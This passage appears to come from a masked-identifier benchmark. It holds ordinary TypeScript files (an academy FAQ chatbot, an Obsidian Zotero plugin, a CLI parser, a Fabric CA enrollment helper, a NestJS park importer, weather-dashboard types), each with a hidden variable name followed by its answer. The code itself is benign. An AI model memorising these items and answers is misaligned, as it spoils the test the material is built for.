  },
  {
    keywords: ['after 12th', 'school students', 'fresh graduates'],
    answer: ""Yes, the course is beginner-friendly and helps students build a strong tech foundation.""
  },
  {
    keywords: ['child', 'job guarantee', 'placement guarantee'],
    answer: ""We offer job-ready training with placement assistance and soft skill support.""
  },
  {
    keywords: ['orientation', 'parents attend', 'demo for parents'],
    answer: ""Yes, orientation programs are open to both students and parents.""
  },

  // ========== PROJECT SUPPORT ==========
  {
    keywords: ['final project', 'capstone project', 'major project'],
    answer: ""Yes, each student must complete a capstone project for certification.""
  },
  {
    keywords: ['project ideas', 'project guidance'],
    answer: ""Yes, trainers help students brainstorm and structure their projects.""
  },
  {
    keywords: ['college project', 'academic project'],
    answer: ""Absolutely. Our projects are real-world ready and resume-worthy.""
  },
  {
    keywords: ['advanced modules', 'specialization'],
    answer: ""Yes, you can opt for advanced add-on modules or specialized tracks.""
  },
  {
    keywords: ['open source', 'github projects', 'contributions'],
    answer: ""Yes, we guide students to contribute to open-source as part of their learning.""
  },

  // ========== ALUMNI & SUCCESS ==========
  {
    keywords: ['alumni working', 'placed students', 'successful students'],
    answer: ""Our alumni are placed in leading companies and startups across India.""
  },
  {
    keywords: ['connect alumni', 'talk to alumni'],
    answer: ""Yes, you can speak with alumni or attend alumni Q&A webinars.""
  },
  {
    keywords: ['success stories', 'achievements'],
    answer: ""Yes, we regularly feature success stories on our website and social media.""
  },
  {
    keywords: ['alumni support', 'graduate support'],
    answer: ""Yes, alumni get lifelong access to materials, updates, and events.""
  },
  {
    keywords: ['become mentor', 'teaching assistant'],
    answer: ""Yes, top-performing alumni may be invited to become mentors or teaching assistants.""
  },

  // ========== GREETINGS & COMMON ==========
  {
    keywords: ['hello', 'hi', 'hey', 'greetings'],
    answer: ""Hello! How can I assist you today?""
  },
  {
    keywords: ['thank', 'thanks', 'appreciate'],
    answer: ""You're welcome! Feel free to ask anything else.""
  },
  {
    keywords: ['bye', 'goodbye', 'see you', 'exit'],
    answer: ""Goodbye! Have a great day.""
  }
];

export const getBotResponse = (userMessage: string): string => {
  const msg = userMessage.toLowerCase().trim();
  
  // First check for exact matches or very specific patterns
  if (/(^hello|^hi|^hey)\b/i.test(msg)) return ""Hello! How can I assist you today?"";
  if (/thank|thanks|thank you/i.test(msg)) return ""You're welcome! Feel free to ask anything else."";
  if (/(bye|goodbye|see you|exit)/i.test(msg)) return ""Goodbye! Have a great day."";

  // Search through all Q&A pairs to find the best match
  for (const qna of qnaDatabase) {
    for (const keyword of qna.keywords) {
      // Create a regex pattern that looks for the keyword as a whole word
      const pattern = new RegExp(`\\b${keyword}\\b`, 'i');
      if (pattern.test(msg)) {
        return qna.answer;
      }
    }
  }

  // If no specific match found, use a fallback response
  const  [MASK]  = [
    ""I'm not sure I understand. Could you please rephrase your question?"",
    ""That's an interesting question! Could you provide more details?"",
    ""I'm here to help with information about KGPATH Academy. Could you clarify your question?"",
    ""I want to make sure I give you the right information. Could you ask your question differently?"",
    ""Thank you for your question! For more specific information, you might want to contact our team directly at +91 7397788918."",
    ""I'm constantly learning! Could you try asking that in a different way?"",
    ""That's a great question. Let me connect you with more detailed information: please call +91 7397788918."",
    ""I'm designed to answer questions about KGPATH Academy. Could you ask something related to our courses or services?""
  ];
  
  return  [MASK] [Math.floor(Math.random() *  [MASK] .length)];
};",fallbackResponses
635,"import {Editor, Plugin} from 'obsidian';
import {ZoteroLinkSettingTab} from ""./ZoteroLinkSettingTab"";
import {DEFAULT_SETTINGS, ZoteroLinkSettings} from ""./ZoteroLinkSettings"";
import {pluginApi} from '@vanakat/plugin-api';
import {ZoteroItem} from '@vanakat/zotero-bridge';
import { renderString } from 'nunjucks';


export class ZoteroLink extends Plugin {

    settings: ZoteroLinkSettings;

    async onload() {
        this.settings = Object.assign({}, DEFAULT_SETTINGS, await this.loadData());

        this.addSettingTab(new ZoteroLinkSettingTab(this.app, this));

        this.addCommand({
            id: 'zotero-link-insert',
            name: 'Insert',
            editorCallback: async (editor: Editor) => {
                pluginApi('ZoteroBridge').v1().search().then((item: ZoteroItem) => {
                    editor.replaceRange(this.getLinkTemplate(item), editor.getCursor());
                })
            }
        });
    }

    async saveSettings( [MASK] : Partial<ZoteroLinkSettings>) {
        Object.assign(this.settings,  [MASK] );
        await this.saveData(this.settings);
    }

    getLinkTemplate(item: ZoteroItem) {
        return `[${renderString(this.settings.linkTemplate, item.getValues())}](zotero://select/library/items/${item.getKey()})`;

    }
}
",newSettings
636,"export interface CliArgFlags {
    [name:string]: string | boolean | number
}

export type CliArgArgs = (string | number)[]

export interface CliArgParams {
    flags: CliArgFlags
    args: CliArgArgs
}

export interface CommandConfig extends CliArgParams {
    command: string
}

export default class CliArgs {

    static Get(...params: CliArgArgs): CliArgParams {
        if (!params.length) {
            params = process.argv;
            params.shift();
            params.shift();
        }

        const flags: CliArgFlags = {};
        const args: CliArgArgs = [];
        let  [MASK] : string | undefined = undefined;

        for (let i = 0; i < params.length; i++) {
            let param = params[i];
            if (typeof param === 'number') param = param.toString();
            if (param.startsWith('-')) {
                if ( [MASK] ) {
                    const cf =  [MASK] .split('=');
                    flags[cf[0]] = cf[1] ? CliArgs.NormalizeParam(cf[1]) : true;
                }
                 [MASK]  = param.replace(/^\-*/, '');
            } else {
                if ( [MASK] ) {
                    const cfl =  [MASK] .split('=');
                    if (cfl[1]) {
                        flags[cfl[0]] = CliArgs.NormalizeParam(cfl[1]);
                        args.push(param);
                    } else {
                        flags[cfl[0]] = CliArgs.NormalizeParam(param);
                    }
                } else {
                    args.push(param);
                }
                 [MASK]  = undefined;
            }
        }
        if ( [MASK] ) {
            const cfm =  [MASK] .split('=');
            flags[cfm[0]] = cfm[1] ? CliArgs.NormalizeParam(cfm[1]) : true;
             [MASK]  = undefined;
        }
        return {flags,args}; 
    }

    static GetCommand(...params:CliArgArgs): CommandConfig {
        if (!params.length) params = process.argv;
        if (
            (typeof params[0] === 'string' && params[0] == process.argv[0]) 
            &&
            (typeof params[1] === 'string' && params[1] == process.argv[1]) 
        ) params.splice(0,2);
        const command = params.shift();
        if (!command) throw new Error(""No command found"");
        if (typeof command === 'number') throw new Error(""Command cannot be a number"");
        const { flags, args } = CliArgs.Get(...params);
        return {command,flags,args};
    }

    static NormalizeParam(param:string | number): any {
        if (typeof param === 'number') return param;
        try {
            const res = JSON.parse(param);
            return res;
        } catch(e) {
            return param;
        }
    } 

    static DenormalizeParam(param:any): string {
        try {
            const res = JSON.stringify(param);
            return res;
        } catch(e) {
            return param;
        }
    } 
}
",currentFlag
637,"import fabricNetwork from 'fabric-network';
import FabricCAServices from 'fabric-ca-client';
import yaml from 'js-yaml';
import fs from 'fs';
import path from 'path';
import env from '../types/env';
import { CA, OrganizationProfile } from '../types/types';

const { Wallets } = fabricNetwork;

/**
 * Enroll an identity with the Fabric CA
 *
 * @param enrollmentID Identity name
 * @param enrollmentSecret Identity secret
 * @param organization Organization name
 */
const enroll = async (
    enrollmentID: string,
    enrollmentSecret: string,
    organization: string,
) => {
    const  [MASK]  = yaml.load(fs.readFileSync(
        path.join(env.FabricConfigPath, env.FabricConnectionProfile),
        'utf8',
    )) as Record<string, string>;
    const organizationProfile =  [MASK] .organizations[
        organization as keyof string
    ] as unknown as OrganizationProfile;
    const caInfo =  [MASK] .certificateAuthorities[
        organizationProfile.certificateAuthorities[0] as keyof string
    ] as unknown as CA;
    const ca = new FabricCAServices(
        caInfo.url,
        {
            trustedRoots: caInfo.tlsCACerts.pem,
            verify: caInfo.httpOptions.verify,
        },
        caInfo.caName,
    );
    const wallet = await Wallets.newFileSystemWallet(env.FabricWalletPath);
    const identity = await wallet.get(enrollmentID);
    if (identity) throw new Error('Identity already exists in wallet');
    const enrollment = await ca.enroll({
        enrollmentID,
        enrollmentSecret,
    });
    const x509Identity = {
        credentials: {
            certificate: enrollment.certificate,
            privateKey: enrollment.key.toBytes(),
        },
        mspId: organizationProfile.mspid,
        type: 'X.509',
    };
    await wallet.put(enrollmentID, x509Identity);
};

export default enroll;
",connectionProfile
638,"import { Command, CommandRunner, Option } from ""nest-commander"";
import { Inject, Logger } from ""@nestjs/common"";
import { ParkService } from ""./shared/park/park.service"";
import { ParkAreaMappingService } from ""./shared/park/parkAreaMapping.service"";
import { getAllParks } from ""./external_api/bc-parks-service"";
import { ParkArea } from ""./shared/park/dto/park_area"";

interface ImportCommandOptions {
  job?: string;
}
const sleep = (ms: number) => new Promise((r) => setTimeout(r, ms));

@Command({ name: ""import"", description: ""Import functions"" })
export class ImportCommand extends CommandRunner {
  constructor(
    @Inject(ParkService) private readonly _parkService: ParkService,
    @Inject(ParkAreaMappingService) private readonly _parkAreaMappingService: ParkAreaMappingService,
  ) {
    super();
  }

  private readonly logger = new Logger(ImportCommand.name);

  async run(params: string[], options?: ImportCommandOptions): Promise<void> {
    if (options?.job === ""parks"") {
      this.runParksImport();
    } else {
      return;
    }
  }

  @Option({
    flags: ""-j, --job <jobName>"",
    description: ""Job name to run"",
  })
  parseString(val: string): string {
    return val;
  }

  async runParksImport(): Promise<void> {
    this.logger.log(""Importing parks..."");
    const parks = await getAllParks();
    for (const park of parks) {
      try {
        this.logger.log(`Importing park: ${park.displayId}`);
        await sleep(100);
        const existingPark = await this._parkService.findOneByExternalId(park.displayId);
        const parkAreaMapping = await this._parkAreaMappingService.findByExternalId(park.displayId);
        const parkAreas = parkAreaMapping
          ? parkAreaMapping.map(( [MASK] ) => {
              return {
                parkAreaGuid:  [MASK] .parkAreaGuid,
              } as ParkArea;
            })
          : [];
        if (existingPark) {
          this.logger.log(`Updating existing park.`);
          await this._parkService.update(existingPark.parkGuid, {
            ...existingPark,
            name: park.displayName.slice(0, 255),
            legalName: park.legalName.slice(0, 255),
            parkAreas: parkAreas,
          });
        } else {
          this.logger.log(`Creating new park.`);
          await this._parkService.create({
            externalId: park.displayId,
            name: park.displayName.slice(0, 255),
            legalName: park.legalName.slice(0, 255),
            parkAreas: parkAreas,
          });
        }
        this.logger.log(`Success!`);
      } catch (error) {
        this.logger.error(`ERROR IMPORTING PARK: ${park.displayName}`, error);
      }
    }
  }
}
",pam
639,"import React, { useState, useEffect, useCallback, useMemo, useRef, createContext, useContext } from 'react';
import { motion, AnimatePresence, useSpring, useTransform, useScroll } from 'framer-motion';
import { 
  Cloud, 
  Sun, 
  CloudRain, 
  Wind, 
  Droplets, 
  Thermometer, 
  Search,
  X,
  Grid,
  List,
  Plus,
  Minus,
  MapPin,
  Calendar,
  Clock,
  Eye,
  Gauge,
  Sunrise,
  Sunset,
  Moon,
  CloudSnow,
  Zap,
  Umbrella,
  Navigation,
  BarChart3,
  LineChart,
  PieChart,
  TrendingUp,
  TrendingDown,
  RefreshCw,
  Settings,
  Info,
  AlertCircle,
  CheckCircle,
  Loader,
  Download,
  Share2,
  Bookmark,
  Star,
  Heart,
  Filter,
  SortAsc,
  SortDesc,
  MoreVertical,
  ChevronDown,
  ChevronUp,
  ChevronLeft,
  ChevronRight,
  Maximize2,
  Minimize2,
  RotateCcw,
  ZoomIn,
  ZoomOut,
  Menu,
  Bell,
  User,
  Globe,
  Wifi,
  WifiOff,
  Database,
  Server,
  Monitor,
  Smartphone,
  Tablet,
  Laptop
} from 'lucide-react';
import { 
  LineChart as RechartsLineChart, 
  Line, 
  XAxis, 
  YAxis, 
  CartesianGrid, 
  Tooltip, 
  ResponsiveContainer, 
  BarChart, 
  Bar,
  AreaChart,
  Area,
  PieChart as RechartsPieChart,
  Cell,
  RadarChart,
  PolarGrid,
  PolarAngleAxis,
  PolarRadiusAxis,
  Radar,
  ComposedChart,
  Scatter,
  ScatterChart,
  ReferenceLine,
  Legend,
  Brush,
  ErrorBar
} from 'recharts';

// ==================== DETAILED TYPES ====================
interface Country {
  code: string;
  name: string;
  city: string;
  timezone: string;
  lat: number;
  lon: number;
  population: number;
  region: string;
  subregion: string;
  currency: string;
  language: string;
  flag: string;
  capital: string;
  area: number;
  borders: string[];
  callingCode: string;
  topLevelDomain: string;
  alpha2Code: string;
  alpha3Code: string;
  nativeName: string;
  numericCode: string;
  cioc: string;
  demonym: string;
  gini: number;
  continent: string;
  climateZone: string;
  isCoastal: boolean;
  averageElevation: number;
  majorIndustries: string[];
  touristAttractions: string[];
  culturalHighlights: string[];
  economicIndicators: {
    gdp: number;
    gdpPerCapita: number;
    unemploymentRate: number;
    inflationRate: number;
    exports: string[];
    imports: string[];
  };
  geographicFeatures: {
    rivers: string[];
    mountains: string[];
    lakes: string[];
    deserts: string[];
    forests: string[];
  };
  demographics: {
    populationDensity: number;
    urbanization: number;
    ageDistribution: {
      under15: number;
      between15and64: number;
      over65: number;
    };
    lifeExpectancy: number;
    literacyRate: number;
  };
}

interface DetailedHourlyForecast {
  time: number;
  datetime: Date;
  temperature: number;
  feelsLike: number;
  condition: string;
  description: string;
  icon: string;
  humidity: number;
  windSpeed: number;
  windDirection: number;
  windGust: number;
  pressure: number;
  visibility: number;
  uvIndex: number;
  cloudCover: number;
  dewPoint: number;
  precipitation: number;
  precipitationProbability: number;
  precipitationType: string;
  airQuality: {
    aqi: number;
    co: number;
    no2: number;
    o3: number;
    so2: number;
    pm25: number;
    pm10: number;
  };
  solarRadiation: number;
  moonPhase: number;
  sunrise: Date;
  sunset: Date;
  moonrise: Date;
  moonset: Date;
  weatherAlerts: WeatherAlert[];
  comfort: {
    heatIndex: number;
    windChill: number;
    discomfortIndex: number;
  };
  agriculture: {
    soilMoisture: number;
    evapotranspiration: number;
    growingDegreeDays: number;
  };
}

interface ExtendedDailyForecast {
  date: Date;
  dayOfWeek: string;
  maxTemp: number;
  minTemp: number;
  avgTemp: number;
  condition: string;
  description: string;
  icon: string;
  humidity: number;
  windSpeed: number;
  windDirection: number;
  pressure: number;
  visibility: number;
  uvIndex: number;
  cloudCover: number;
  sunrise: Date;
  sunset: Date;
  moonPhase: number;
  precipitation: number;
  precipitationProbability: number;
  precipitationType: string;
  hourlyData: DetailedHourlyForecast[];
  extremes: {
    maxWindSpeed: number;
    minVisibility: number;
    maxUvIndex: number;
    maxPrecipitation: number;
  };
  comfort: {
    avgHeatIndex: number;
    avgWindChill: number;
    comfortRating: number;
  };
  suitability: {
    outdoor: number;
    sports: number;
    travel: number;
    agriculture: number;
  };
}

interface WeatherAlert {
  id: string;
  title: string;
  description: string;
  severity: 'minor' | 'moderate' | 'severe' | 'extreme';
  urgency: 'immediate' | 'expected' | 'future' | 'past';
  certainty: 'observed' | 'likely' | 'possible' | 'unlikely';
  startTime: Date;
  endTime: Date;
  areas: string[];
  instruction: string;
  event: string;
  headline: string;
  msgType: string;
  category: string;
  responseType: string;
  web: string;
  contact: string;
  parameter: {
    [key: string]: string;
  };
}

interface ComprehensiveWeatherData {
  location: {
    city: string;
    country: string;
    region: string;
    lat: number;
    lon: number;
    timezone: string;
    localtime: Date;
    utcOffset: number;
  };
  current: {
    temperature: number;
    feelsLike: number;
    condition: string;
    description: string;
    icon: string;
    humidity: number;
    windSpeed: number;
    windDirection: number;
    windGust: number;
    pressure: number;
    visibility: number;
    uvIndex: number;
    cloudCover: number;
    dewPoint: number;
    precipitation: number;
    isDay: boolean;
    lastUpdated: Date;
  };
  forecast: {
    hourly: DetailedHourlyForecast[];
    daily: ExtendedDailyForecast[];
  };
  historical: {
    temperature: Array<{ date: Date; value: number }>;
    humidity: Array<{ date: Date; value: number }>;
    pressure: Array<{ date: Date; value: number }>;
    precipitation: Array<{ date: Date; value: number }>;
  };
  statistics: {
    temperature: {
      min: number;
      max: number;
      avg: number;
      median: number;
      mode: number;
      stdDev: number;
    };
    humidity: {
      min: number;
      max: number;
      avg: number;
      median: number;
      mode: number;
      stdDev: number;
    };
    pressure: {
      min: number;
      max: number;
      avg: number;
      median: number;
      mode: number;
      stdDev: number;
    };
    windSpeed: {
      min: number;
      max: number;
      avg: number;
      median: number;
      mode: number;
      stdDev: number;
    };
  };
  airQuality: {
    aqi: number;
    category: string;
    dominantPollutant: string;
    components: {
      co: number;
      no2: number;
      o3: number;
      so2: number;
      pm25: number;
      pm10: number;
    };
    forecast: Array<{
      date: Date;
      aqi: number;
      category: string;
      components: {
        co: number;
        no2: number;
        o3: number;
        so2: number;
        pm25: number;
        pm10: number;
      };
    }>;
  };
  astronomy: {
    sunrise: Date;
    sunset: Date;
    moonrise: Date;
    moonset: Date;
    moonPhase: number;
    moonIllumination: number;
    moonAge: number;
    moonSign: string;
    sunPosition: {
      azimuth: number;
      elevation: number;
    };
    moonPosition: {
      azimuth: number;
      elevation: number;
    };
    solarNoon: Date;
    civilTwilightBegin: Date;
    civilTwilightEnd: Date;
    nauticalTwilightBegin: Date;
    nauticalTwilightEnd: Date;
    astronomicalTwilightBegin: Date;
    astronomicalTwilightEnd: Date;
    dayLength: number;
    nightLength: number;
  };
  marine: {
    seaTemperature: number;
    waveHeight: number;
    waveDirection: number;
    wavePeriod: number;
    swellHeight: number;
    swellDirection: number;
    swellPeriod: number;
    tideHeight: number;
    tideDirection: string;
    nextHighTide: Date;
    nextLowTide: Date;
    visibility: number;
    currentSpeed: number;
    currentDirection: number;
  };
  agriculture: {
    soilTemperature: number;
    soilMoisture: number;
    evapotranspiration: number;
    growingDegreeDays: number;
    chillHours: number;
    leafWetness: number;
    frostProbability: number;
    heatStress: number;
    recommendations: string[];
  };
  health: {
    heatIndex: number;
    windChill: number;
    discomfortIndex: number;
    airQualityHealth: string;
    uvExposure: string;
    pollenForecast: {
      tree: number;
      grass: number;
      weed: number;
      mold: number;
      overall: number;
    };
    recommendations: string[];
  };
  energy: {
    solarPotential: number;
    windPotential: number;
    heatingDegreeDays: number;
    coolingDegreeDays: number;
    energyConsumptionForecast: {
      heating: number;
      cooling: number;
      lighting: number;
      overall: number;
    };
  };
  transportation: {
    roadConditions: string;
    visibility: number;
    windImpact: string;
    precipitationImpact: string;
    temperatureImpact: string;
    drivingDifficulty: number;
    flightDelayProbability: number;
    marineConditions: string;
    recommendations: string[];
  };
  recreation: {
    beachConditions: string;
    skiConditions: string;
    hikingConditions: string;
    campingConditions: string;
    golfConditions: string;
    outdoorComfort: number;
    suitability: {
      beach: number;
      hiking: number;
      camping: number;
      golf: number;
      cycling: number;
      running: number;
      picnic: number;
      festivals: number;
    };
  };
  alerts: WeatherAlert[];
  trends: {
    temperature: 'rising' | 'falling' | 'stable';
    pressure: 'rising' | 'falling' | 'stable';
    humidity: 'rising' | 'falling' | 'stable';
    windSpeed: 'increasing' | 'decreasing' | 'stable';
    conditions: 'improving' | 'deteriorating' | 'stable';
  };
  confidence: {
    temperature: number;
    precipitation: number;
    windSpeed: number;
    overall: number;
  };
  metadata: {
    provider: string;
    model: string;
    resolution: string;
    updateFrequency: string;
    lastUpdate: Date;
    nextUpdate: Date;
    dataQuality: number;
    coverage: string;
    accuracy: {
      temperature: number;
      precipitation: number;
      windSpeed: number;
      humidity: number;
    };
  };
}

interface WeatherPreferences {
  temperatureUnit: 'celsius' | 'fahrenheit' | 'kelvin';
  windSpeedUnit: 'kmh' | 'mph' | 'ms' | 'knots';
  pressureUnit: 'hpa' | 'inhg' | 'mmhg' | 'kpa';
  precipitationUnit: 'mm' | 'inches';
  visibilityUnit: 'km' | 'miles';
  timeFormat: '12h' | '24h';
  dateFormat: 'dd/mm/yyyy' | 'mm/dd/yyyy' | 'yyyy-mm-dd';
  language: string;
  theme: 'light' | 'dark' | 'auto';
  animations: boolean;
  sounds: boolean;
  notifications: boolean;
  autoRefresh: boolean;
  refreshInterval: number;
  defaultView: 'grid' | 'list' | 'map';
  chartType: 'line' | 'bar' | 'area';
  showForecast: boolean;
  forecastDays: number;
  showHourly: boolean;
  hourlyRange: number;
  showAlerts: boolean;
  alertSeverity: string[];
  showAirQuality: boolean;
  showUvIndex: boolean;
  showAstronomy: boolean;
  showMarine: boolean;
  showAgriculture: boolean;
  showHealth: boolean;
  showEnergy: boolean;
  showTransportation: boolean;
  showRecreation: boolean;
  favoriteCities: string[];
  recentSearches: string[];
  bookmarks: string[];
  customLocations: Array<{
    name: string;
    lat: number;
    lon: number;
    timezone: string;
  }>;
}

interface WeatherStore {
  weatherData: { [city: string]: ComprehensiveWeatherData };
  selectedCountries: Country[];
  loading: boolean;
  error: string | null;
  preferences: WeatherPreferences;
  lastUpdate: Date;
  networkStatus: 'online' | 'offline';
  dataQuality: number;
  cache: { [key: string]: any };
  statistics: {
    totalRequests: number;
    successfulRequests: number;
    failedRequests: number;
    averageResponseTime: number;
    cacheHitRate: number;
  };
  notifications: Array<{
    id: string;
    type: 'info' | 'warning' | 'error' | 'success';
    title: string;
    message: string;
    timestamp: Date;
    read: boolean;
    actions: Array<{
      label: string;
      handler: () => void;
    }>;
  }>;
  favorites: string[];
  bookmarks: string[];
  history: Array<{
    city: string;
    timestamp: Date;
    action: 'view' | 'add' | 'remove';
  }>;
  comparison: {
    cities: string[];
    metrics: string[];
    timeRange: string;
  };
  alerts: WeatherAlert[];
  maps: {
    center: { lat: number; lon: number };
    zoom: number;
    layers: string[];
    markers: Array<{
      lat: number;
      lon: number;
      city: string;
      data: any;
    }>;
  };
  charts: {
    temperature: any[];
    humidity: any[];
    pressure: any[];
    windSpeed: any[];
    precipitation: any[];
  };
  filters: {
    temperature: { min: number; max: number };
    humidity: { min: number; max: number };
    windSpeed: { min: number; max: number };
    condition: string[];
    region: string[];
    timezone: string[];
  };
  sorting: {
    field: string;
    direction: 'asc' | 'desc';
  };
  search: {
    term: string;
    suggestions: string[];
    history: string[];
    filters: any;
  };
  ui: {
    sidebarOpen: boolean;
    modalOpen: boolean;
    fullscreen: boolean;
    theme: 'light' | 'dark' | 'auto';
    layout: 'grid' | 'list' | 'map';
    density: 'compact' | 'comfortable' | 'spacious';
    animations: boolean;
    sounds: boolean;
  };
}

// ==================== COMPREHENSIVE CONSTANTS ====================
const COMPREHENSIVE_COUNTRIES: Country[] = [
  {
    code: 'US',
    name: 'United States',
    city: 'New York',
    timezone: 'America/New_York',
    lat: 40.7128,
    lon: -74.0060,
    population: 331449281,
    region: 'Americas',
    subregion: 'Northern America',
    currency: 'USD',
    language: 'English',
    flag: '🇺🇸',
    capital: 'Washington, D.C.',
    area: 9833517,
    borders: ['CAN', 'MEX'],
    callingCode: '+1',
    topLevelDomain: '.us',
    alpha2Code: 'US',
    alpha3Code: 'USA',
    nativeName: '<NAME>',
    numericCode: '840',
    cioc: 'USA',
    demonym: 'American',
    gini: 41.1,
    continent: 'North America',
    climateZone: 'Temperate',
    isCoastal: true,
    averageElevation: 760,
    majorIndustries: ['Technology', 'Finance', 'Healthcare', 'Manufacturing'],
    touristAttractions: ['Statue of Liberty', 'Grand Canyon', 'Yellowstone', 'Times Square'],
    culturalHighlights: ['Hollywood', 'Broadway', 'Jazz', 'Baseball'],
    economicIndicators: {
      gdp: 21427700000000,
      gdpPerCapita: 65280,
      unemploymentRate: 3.7,
      inflationRate: 2.3,
      exports: ['Machinery', 'Electronics', 'Vehicles', 'Aircraft'],
      imports: ['Electronics', 'Machinery', 'Vehicles', 'Oil']
    },
    geographicFeatures: {
      rivers: ['Mississippi', 'Missouri', 'Colorado', 'Rio Grande'],
      mountains: ['Rocky Mountains', 'Appalachian Mountains', 'Sierra Nevada'],
      lakes: ['Great Lakes', 'Lake Tahoe', 'Crater Lake'],
      deserts: ['Mojave Desert', 'Sonoran Desert', 'Great Basin'],
      forests: ['Redwood National Park', 'Great Smoky Mountains', 'Olympic National Forest']
    },
    demographics: {
      populationDensity: 36,
      urbanization: 82.3,
      ageDistribution: {
        under15: 19.3,
        between15and64: 65.9,
        over65: 14.8
      },
      lifeExpectancy: 78.9,
      literacyRate: 99.0
    }
  },
  {
    code: 'GB',
    name: 'United Kingdom',
    city: 'London',
    timezone: 'Europe/London',
    lat: 51.5074,
    lon: -0.1278,
    population: 67886011,
    region: 'Europe',
    subregion: 'Northern Europe',
    currency: 'GBP',
    language: 'English',
    flag: '🇬🇧',
    capital: 'London',
    area: 242495,
    borders: ['IRL'],
    callingCode: '+44',
    topLevelDomain: '.uk',
    alpha2Code: 'GB',
    alpha3Code: 'GBR',
    nativeName: 'United Kingdom',
    numericCode: '826',
    cioc: 'GBR',
    demonym: 'British',
    gini: 33.2,
    continent: 'Europe',
    climateZone: 'Oceanic',
    isCoastal: true,
    averageElevation: 162,
    majorIndustries: ['Finance', 'Manufacturing', 'Services', 'Creative Industries'],
    touristAttractions: ['Big Ben', 'Buckingham Palace', 'Tower of London', 'Stonehenge'],
    culturalHighlights: ['Shakespeare', 'The Beatles', 'Premier League', 'Fish and Chips'],
    economicIndicators: {
      gdp: 2829108000000,
      gdpPerCapita: 42330,
      unemploymentRate: 3.8,
      inflationRate: 2.5,
      exports: ['Machinery', 'Vehicles', 'Chemicals', 'Pharmaceuticals'],
      imports: ['Machinery', 'Vehicles', 'Food', 'Fuels']
    },
    geographicFeatures: {
      rivers: ['Thames', 'Severn', 'Trent', 'Mersey'],
      mountains: ['<NAME>', 'Scafell Pike', 'Snowdon'],
      lakes: ['Lake District', 'Loch Ness', 'Lake Windermere'],
      deserts: [],
      forests: ['New Forest', 'Sherwood Forest', 'Forest of Dean']
    },
    demographics: {
      populationDensity: 281,
      urbanization: 83.4,
      ageDistribution: {
        under15: 17.6,
        between15and64: 64.2,
        over65: 18.2
      },
      lifeExpectancy: 81.2,
      literacyRate: 99.0
    }
  },
  {
    code: 'DE',
    name: 'Germany',
    city: 'Berlin',
    timezone: 'Europe/Berlin',
    lat: 52.5200,
    lon: 13.4050,
    population: 83783942,
    region: 'Europe',
    subregion: 'Western Europe',
    currency: 'EUR',
    language: 'German',
    flag: '🇩🇪',
    capital: 'Berlin',
    area: 357022,
    borders: ['AUT', 'BEL', 'CZE', 'DNK', 'FRA', 'LUX', 'NLD', 'POL', 'CHE'],
    callingCode: '+49',
    topLevelDomain: '.de',
    alpha2Code: 'DE',
    alpha3Code: 'DEU',
    nativeName: 'Deutschland',
    numericCode: '276',
    cioc: 'GER',
    demonym: 'German',
    gini: 31.9,
    continent: 'Europe',
    climateZone: 'Continental',
    isCoastal: true,
    averageElevation: 263,
    majorIndustries: ['Automotive', 'Machinery', 'Chemicals', 'Electronics'],
    touristAttractions: ['Brandenburg Gate', 'Neuschwanstein Castle', 'Cologne Cathedral', 'Oktoberfest'],
    culturalHighlights: ['Beer', 'Sausages', 'Classical Music', 'Christmas Markets'],
    economicIndicators: {
      gdp: 3846414000000,
      gdpPerCapita: 46560,
      unemploymentRate: 3.2,
      inflationRate: 1.4,
      exports: ['Vehicles', 'Machinery', 'Chemicals', 'Electronics'],
      imports: ['Machinery', 'Vehicles', 'Chemicals', 'Electronics']
    },
    geographicFeatures: {
      rivers: ['Rhine', 'Elbe', 'Danube', 'Weser'],
      mountains: ['Alps', 'Black Forest', 'Bavarian Forest'],
      lakes: ['Lake Constance', 'Müritz', 'Chiemsee'],
      deserts: [],
      forests: ['Black Forest', 'Bavarian Forest', 'Harz']
    },
    demographics: {
      populationDensity: 240,
      urbanization: 77.3,
      ageDistribution: {
        under15: 14.1,
        between15and64: 64.2,
        over65: 21.7
      },
      lifeExpectancy: 81.3,
      literacyRate: 99.0
    }
  },
  {
    code: 'FR',
    name: 'France',
    city: 'Paris',
    timezone: 'Europe/Paris',
    lat: 48.8566,
    lon: 2.3522,
    population: 65273511,
    region: 'Europe',
    subregion: 'Western Europe',
    currency: 'EUR',
    language: 'French',
    flag: '🇫🇷',
    capital: 'Paris',
    area: 643801,
    borders: ['AND', 'BEL', 'DEU', 'ITA', 'LUX', 'MCO', 'ESP', 'CHE'],
    callingCode: '+33',
    topLevelDomain: '.fr',
    alpha2Code: 'FR',
    alpha3Code: 'FRA',
    nativeName: 'France',
    numericCode: '250',
    cioc: 'FRA',
    demonym: 'French',
    gini: 32.4,
    continent: 'Europe',
    climateZone: 'Temperate',
    isCoastal: true,
    averageElevation: 375,
    majorIndustries: ['Aerospace', 'Automotive', 'Luxury Goods', 'Tourism'],
    touristAttractions: ['Eiffel Tower', 'Louvre Museum', 'Palace of Versailles', 'Mont Blanc'],
    culturalHighlights: ['Cuisine', 'Fashion', 'Wine', 'Art'],
    economicIndicators: {
      gdp: 2715518000000,
      gdpPerCapita: 42330,
      unemploymentRate: 8.1,
      inflationRate: 1.8,
      exports: ['Machinery', 'Aircraft', 'Vehicles', 'Pharmaceuticals'],
      imports: ['Machinery', 'Vehicles', 'Crude Oil', 'Aircraft']
    },
    geographicFeatures: {
      rivers: ['Seine', 'Loire', 'Garonne', 'Rhône'],
      mountains: ['Alps', 'Pyrenees', 'Massif Central'],
      lakes: ['Lake Geneva', 'Lake Annecy', 'Lake Bourget'],
      deserts: [],
      forests: ['Forest of Fontainebleau', 'Vosges', 'Ardennes']
    },
    demographics: {
      populationDensity: 105,
      urbanization: 80.4,
      ageDistribution: {
        under15: 18.1,
        between15and64: 61.9,
        over65: 20.0
      },
      lifeExpectancy: 82.7,
      literacyRate: 99.0
    }
  },
  {
    code: 'IT',
    name: 'Italy',
    city: 'Rome',
    timezone: 'Europe/Rome',
    lat: 41.9028,
    lon: 12.4964,
    population: 60461826,
    region: 'Europe',
    subregion: 'Southern Europe',
    currency: 'EUR',
    language: 'Italian',
    flag: '🇮🇹',
    capital: 'Rome',
    area: 301340,
    borders: ['AUT', 'FRA', 'SMR', 'SVN', 'CHE', 'VAT'],
    callingCode: '+39',
    topLevelDomain: '.it',
    alpha2Code: 'IT',
    alpha3Code: 'ITA',
    nativeName: 'Italia',
    numericCode: '380',
    cioc: 'ITA',
    demonym: 'Italian',
    gini: 35.9,
    continent: 'Europe',
    climateZone: 'Mediterranean',
    isCoastal: true,
    averageElevation: 538,
    majorIndustries: ['Manufacturing', 'Fashion', 'Automotive', 'Tourism'],
